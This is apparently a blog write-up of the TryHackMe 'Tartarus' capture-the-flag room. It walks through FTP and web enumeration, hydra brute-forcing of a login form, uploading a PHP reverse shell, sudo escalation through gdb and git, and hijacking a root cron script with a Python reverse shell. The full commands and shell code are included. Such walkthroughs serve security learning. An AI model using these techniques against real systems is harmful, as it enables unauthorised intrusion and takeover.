/ TRYHACKME, CTF, EASY

Tartarus Write Up

GitHappens

Overview

Tartarus is an fun easy room from TryHackMe. We have two tasks to complete, finding both the user and root flag. Typical CTF style room.

Nmap

TryHackMe will assign a dynamic IP as part of the deployment, I’ve edited my /etc/hosts file with the name of the box and the assigned IP. I started by doing an nmap scan to check what ports are open.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $sudo nmap -sC -sV -oA nmap/initial tartarus
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-26 16:16 BST
Nmap scan report for tartarus (10.10.30.144)
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            17 Jul 05 21:45 test.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.8.21.217
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 98:6c:7f:49:db:54:cb:36:6d:d5:ff:75:42:4c:a7:e0 (RSA)
|   256 0c:7b:1a:9c:ed:4b:29:f5:3e:be:1c:9a:e4:4c:07:2c (ECDSA)
|_  256 50:09:9f:c0:67:3e:89:93:b0:c9:85:f1:93:89:50:68 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds

3 Ports open:

  • 21 - FTP - Anonymous login allowed which is interesting will need to check what files and access is available
  • 22 - SSH - Banner is showing its an Ubuntu machine
  • 80 - HTTP - Apache web server

SSH has a smaller attack surface than the other ports so will leave that for now, I decided to look at FTP first.

Enumeration

Using the ftp utility I was able to login using the username ‘anonymous’ and password ‘anonymous’.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $ftp tartarus
Connected to tartarus.
220 (vsFTPd 3.0.3)
Name (tartarus:daz): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            17 Jul 05 21:45 test.txt
226 Directory send OK.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ...
-rw-r--r--    1 ftp      ftp            17 Jul 05 21:45 test.txt
226 Directory send OK.
ftp> 

Just one file test.txt, but what is also interesting is ‘…’ which is a folder. Typically you would find . (current directory) and .. (parent directory). Next I downloaded the test.txt file and checked the … directory.

ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (17 bytes).
226 Transfer complete.
17 bytes received in 0.00 secs (38.8795 kB/s)
ftp> cd ...
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
drwxr-xr-x    2 ftp      ftp          4096 Jul 05 21:31 ...
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
-rw-r--r--    1 ftp      ftp            14 Jul 05 21:45 yougotgoodeyes.txt
226 Directory send OK.
ftp> get yougotgoodeyes.txt
local: yougotgoodeyes.txt remote: yougotgoodeyes.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for yougotgoodeyes.txt (14 bytes).
226 Transfer complete.
14 bytes received in 0.00 secs (19.1215 kB/s)
ftp> exit
221 Goodbye.

Navigating to … lists another folder called … but now we find another text file called yougotgoodeyes.txt.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $cat test.txt 
vsftpd test file
┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $cat yougotgoodeyes.txt 
/sUp3r-s3cr3t

test.txt doesn’t give us anything to interesting, nmap was able to identify the FTP server was vsftpd. However, yougotgoodeyes.txt provides what looks like a web directory. Next step is to move on to port 80 and see what we can find. While I was reviewing FTP I had gobuster and nikto running in the background to enumerate the web service.

webpage

The webpage just displays the default apache page, I checked the source code but nothing stood out.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $gobuster dir -u http://tartarus -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://tartarus
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/26 16:32:10 Starting gobuster
===============================================================
/server-status (Status: 403)
===============================================================
2020/09/26 16:34:00 Finished
===============================================================

Gobuster also didn’t reveal anything.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $nikto -host http://tartarus
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.30.144
+ Target Hostname:    tartarus
+ Target Port:        80
+ Start Time:         2020-09-26 16:31:43 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 5a9b87b015a4a, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7686 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2020-09-26 16:35:39 (GMT1) (236 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto was able to find robots.txt with one entry.

robots

Great now I have the admin directory and a potential username ‘d4rckh’.

admin-dir

Checking out the admin-dir I found to files credentials.txt and userid. I download each to my machine.

  • userid - Is a list of random usernames
  • credentials.txt - Is a list of common passwords

We could use these to brute force SSH but first I will look at the directory ‘/sUp3r-s3cr3t/’ found on the FTP service.

login

I bet the username/password lists we found are to be used here, I tried to login with admin/admin.

username

But I get the error ‘Incorrect username!’. Its highlighting the username is wrong, not the username or password is wrong. I can use this error message along with the userid file to find the correct username(s).

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $hydra -L userid -p "test" tartarus http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect username!"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-26 16:53:45
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:13/p:1), ~1 try per task
[DATA] attacking http-post-form://10.10.30.144:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect username!
[80][http-post-form] host: 10.10.30.144   login: <HIDDEN>   password: test
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-26 16:53:55

I used hydra to test each of the usernames to see which were failed.

  • -L - username file
  • -p - I used “test” as a place holder password for now
  • tartarus - The target
  • http-post-form - Perform a POST request
  • /sUp3r-s3cr3t/authenticate.php: - Is the directory/webpage to target
  • username=^USER^&password=^PASS^&Login=Login: - These are the values the webpage is expecting, ^^ tell Hydra what to populate in those fields.
  • Incorrect username! - Tells hydra what a failed message will include

We have a username, I repeated the process but this time to check for the password.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $hydra -l <HIDDEN> -P credentials.txt 10.10.30.144 http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect password!"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-26 17:02:23
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:1/p:101), ~7 tries per task
[DATA] attacking http-post-form://10.10.30.144:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect password!
[80][http-post-form] host: 10.10.30.144   login: <HIDDEN>   password: <HIDDEN>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-26 17:02:24

All I need to change was the error message, the username and password flags and values. Now with the username and password I will try and log in.

upload

It worked and now im presented with a upload page, first thing that comes to mind is a PHP reverse shell. First I will gobuster for other directories.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $gobuster dir -u http://tartarus/sUp3r-s3cr3t -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://tartarus/sUp3r-s3cr3t
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/26 17:12:07 Starting gobuster
===============================================================
/images (Status: 301)
===============================================================
2020/09/26 17:20:54 Finished
===============================================================

Inside images is a folder called uploads, this is what I needed. Now I know where my shell will be uploaded.

Initial Access

First I copy a php reverse shell script from my webshells directory found on both ParrotOS and Kali and rename it to shell.php.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $cp /usr/share/webshells/php/php-reverse-shell.php .
┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $mv php-reverse-shell.php shell.php

Editing the script I will keep port as 1234 for now and change the IP to point to my VPN IP.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Now I start my netcat listener ready for my shell (hopefully).

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...

uploaded

File uploaded.

shell

As expected the shell.php script was uploaded to /images/uploads/

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.21.217] from (UNKNOWN) [10.10.30.144] 52738
Linux ubuntu-xenial 4.4.0-184-generic #214-Ubuntu SMP Thu Jun 4 10:14:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 16:18:28 up  1:10,  0 users,  load average: 0.10, 0.05, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Now we have a shell I will go hunting for the user flag.

$ cd /home
$ ls
cleanup
d4rckh
thirtytwo
$ cd d4rckh
$ ls
cleanup.py
user.txt
$ cat user.txt
0f7dbb2243e692e<HIDDEN>

Ive redacted half the flag. Now its time to get root!

Priv Esc

First I upgrade my shell.

$ python -c 'import pty; pty.spawn("/bin/bash")'

In d4rckh home directory is a python script cleanup.py. Even as www-data you can edit that file and use it to get a reverse shell as root. However I don’t believe this is the indented path just yet, first we need to become the d4rckh user.

When I first get a shell on machine I always run ‘sudo -l’ to check for a quick win.

www-data@ubuntu-xenial:/home/d4rckh$ sudo -l
Matching Defaults entries for www-data on ubuntu-xenial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu-xenial:
    (thirtytwo) NOPASSWD: /var/www/gdb
www-data@ubuntu-xenial:/home/d4rckh$ 

Im not disappointed, we can run the command gdb as the user thirtytwo. A quick look on GTFObins shows I can use gdb to priv esc to the thirtytwo user.

www-data@ubuntu-xenial:/home/d4rckh sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
$ 
$ id
uid=1004(thirtytwo) gid=1004(thirtytwo) groups=1004(thirtytwo)
$ cd /home/thirtytwo
$ ls
note.txt
$ cat note.txt
Hey 32, the other day you were unable to clone my github repository.
Now you can use git. Took a while to fix it but now its good :)

~D4rckh
$ 

Now has user thirtytwo I navigate to the home directory and find a note from D4rckh. So again I checked ‘sudo -l’.

$ sudo -l
Matching Defaults entries for thirtytwo on ubuntu-xenial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User thirtytwo may run the following commands on ubuntu-xenial:
    (d4rckh) NOPASSWD: /usr/bin/git
$ 

Following the same processes before, I checked GTFO bins and found a a priv esc path using git.

$ sudo -u d4rckh /usr/bin/git -p help config
GIT-CONFIG(1)                     Git Manual                     GIT-CONFIG(1)

NAME
       git-config - Get and set repository or global options

SYNOPSIS
       git config [<file-option>] [type] [-z|--null] name [value [value_regex]]
       git config [<file-option>] [type] --add name value
       git config [<file-option>] [type] --replace-all name value [value_regex]
       git config [<file-option>] [type] [-z|--null] --get name [value_regex]
       git config [<file-option>] [type] [-z|--null] --get-all name [value_regex]
       git config [<file-option>] [type] [-z|--null] [--name-only] --get-regexp name_regex [value_regex]
       git config [<file-option>] [type] [-z|--null] --get-urlmatch name URL
       git config [<file-option>] --unset name [value_regex]
       git config [<file-option>] --unset-all name [value_regex]
       git config [<file-option>] --rename-section old_name new_name
       git config [<file-option>] --remove-section name
       git config [<file-option>] [-z|--null] [--name-only] -l | --list
       git config [<file-option>] --get-color name [default]
       git config [<file-option>] --get-colorbool name [stdout-is-tty]
       git config [<file-option>] -e | --edit
!/bin/bash
d4rckh@ubuntu-xenial:~$ 

Now I’m the user d4rckh I can go back to the users home directory and look at the cleanup.up script.

d4rckh@ubuntu-xenial:/home/d4rckh$ cat cleanup.py
# -*- coding: utf-8 -*-
#!/usr/bin/env python
import os
import sys
try:
        os.system('rm -r /home/cleanup/* ')
except:
        sys.exit()

Reading the script it looks like something that would be ran via cronjob. Lets see what jobs are on the machine.

d4rckh@ubuntu-xenial:/home/d4rckh$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/2 *   * * *   root    python /home/d4rckh/cleanup.py
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
d4rckh@ubuntu-xenial:/home/d4rckh$ 

Perfect, so that script is being run by root. Lets modify to provide us with another reverses shell.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $nc -nvlp 8080
listening on [any] 8080 ...

First start another netcat listener.

d4rckh@ubuntu-xenial:/home/d4rckh$ cat cleanup.py 
# -*- coding: utf-8 -*-
#!/usr/bin/env python

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<HIDDEN>",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

I grabbed the python reverse shell from pentestmonkey and replaced the code in the script. Now I just need to wait for the reverse shell.

┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus]
└──╼ $nc -nvlp 8080
listening on [any] 8080 ...
connect to [10.8.21.217] from (UNKNOWN) [10.10.30.144] 33596
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root/
# cat root.txt
7e055812184a5fa<HIDDEN>
# 

Root dance!

Thanks for reading!

============================================================

Any comments or feedback welcome! You can find me on twitter.

Buy Me A Coffee